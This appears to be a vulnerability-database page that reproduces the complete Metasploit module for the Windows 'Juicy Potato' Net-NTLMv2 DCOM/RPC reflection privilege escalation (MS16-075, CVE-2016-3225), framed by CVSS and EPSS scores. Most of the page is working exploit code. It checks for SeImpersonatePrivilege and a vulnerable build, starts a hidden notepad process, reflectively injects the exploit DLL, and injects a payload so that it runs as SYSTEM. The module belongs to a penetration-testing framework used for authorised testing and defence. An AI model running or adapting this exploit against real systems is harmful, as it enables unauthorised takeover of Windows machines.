Lucene search

K
metasploitFoxGloveSec, breenmachine, decoder, ohpe, phra, lupmanMSF:EXPLOIT-WINDOWS-LOCAL-MS16_075_REFLECTION_JUICY-
HistoryJan 10, 2019 - 4:20 p.m.

Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)

2019-01-1016:20:43
FoxGloveSec, breenmachine, decoder, ohpe, phra, lupman
www.rapid7.com
136

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.023 Low

EPSS

Percentile

89.5%

This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. It requires a CLSID string. Windows 10 after version 1803, (April 2018 update, build 17134) and all versions of Windows Server 2019 are not vulnerable.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
          'Description' => %q{
            This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
            to achieve a SYSTEM handle for elevation of privilege.
            It requires a CLSID string.
            Windows 10 after version 1803, (April 2018 update, build 17134) and all
            versions of Windows Server 2019 are not vulnerable.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'FoxGloveSec', # the original Potato exploit
            'breenmachine', # Rotten Potato NG!
            'decoder', # Lonely / Juicy Potato
            'ohpe', # Juicy Potato
            'phra', # MSF Module
            'lupman' # MSF Module
          ],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'DefaultOptions' => {
            'EXITFUNC' => 'none',
            'WfsDelay' => '20'
          },
          'Targets' => [
            ['Automatic', {}]
          ],
          'Payload' => {
            'DisableNops' => true
          },
          'References' => [
            ['MSB', 'MS16-075'],
            ['CVE', '2016-3225'],
            ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
            ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
            ['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
            ['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
            ['URL', 'https://ohpe.it/juicy-potato/']
          ],
          'DisclosureDate' => '2016-01-16',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_config_getenv
                stdapi_sys_config_getprivs
                stdapi_sys_config_sysinfo
                stdapi_sys_process_attach
                stdapi_sys_process_execute
                stdapi_sys_process_thread_create
              ]
            }
          }
        }
      )
    )

    register_options(
      [
        OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
      ]
    )

    register_advanced_options(
      [
        OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
        OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
        OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
        OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
        OptString.new('LogFile', [ false, 'Set the log file' ])
      ]
    )
  end

  # Creates a temp notepad.exe to inject payload in to given the payload
  def create_temp_proc
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
      cmd = "#{windir}\\Sysnative\\notepad.exe"
    elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    begin
      proc = client.sys.process.execute(cmd, nil, { 'Hidden' => true })
    rescue Rex::Post::Meterpreter::RequestError
      return nil
    end

    return proc
  end

  def create_temp_proc_stage2
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo['Architecture'] == ARCH_X64 && @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    return cmd
  end

  def check
    privs = client.sys.config.getprivs
    # Fast fails
    if !privs.include?('SeImpersonatePrivilege')
      print_bad('Target session is missing the SeImpersonatePrivilege.')
      return Exploit::CheckCode::Safe
    end
    version = get_version_info
    unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803)
      print_bad("System not vulnerable (#{version.product_name})")
      return Exploit::CheckCode::Safe
    end
    print_good("Target appears to be vulnerable (#{version.product_name})")
    return Exploit::CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    @payload_name = datastore['PAYLOAD']
    @payload_arch = framework.payloads.create(@payload_name).arch
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable')
    end
    if @payload_arch.first == ARCH_X64
      dll_file_name = 'juicypotato.x64.dll'
      vprint_status('Assigning payload juicypotato.x64.dll')
    elsif @payload_arch.first == ARCH_X86
      dll_file_name = 'juicypotato.x86.dll'
      vprint_status('Assigning payload juicypotato.x86.dll')
    else
      fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
    end
    print_status('Launching notepad to host the exploit...')
    notepad_process = create_temp_proc
    cmd = create_temp_proc_stage2
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name)
    library_path = ::File.expand_path(library_path)
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
    configuration = "#{datastore['LogFile']}\x00"
    configuration += "#{cmd}\x00"
    configuration += "#{datastore['CLSID']}\x00"
    configuration += "#{datastore['ListeningPort']}\x00"
    configuration += "#{datastore['RpcServerHost']}\x00"
    configuration += "#{datastore['RpcServerPort']}\x00"
    configuration += "#{datastore['ListeningAddress']}\x00"
    configuration += "#{payload.encoded.length}\x00"
    configuration += payload.encoded
    payload_mem = inject_into_process(process, configuration)
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Configuration injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.023 Low

EPSS

Percentile

89.5%